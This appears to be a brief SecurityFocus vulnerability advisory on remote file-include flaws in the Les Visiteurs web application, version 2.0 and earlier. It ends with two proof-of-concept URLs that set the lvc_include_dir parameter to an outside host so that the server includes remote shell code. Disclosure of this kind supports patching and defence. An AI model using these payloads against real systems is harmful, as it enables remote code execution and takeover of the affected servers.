source: https://www.securityfocus.com/bid/20259/info Les Visiteurs is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible. Les Visiteurs 2.0 and earlier versions are vulnerable; other versions may also be affected. http://www.example.com/[Script Path]/include/config.inc.php?lvc_include_dir=http://www.example2.com? http://www.example.com/include/new-visitor.inc.php?lvc_include_dir=http://yourshell.txt?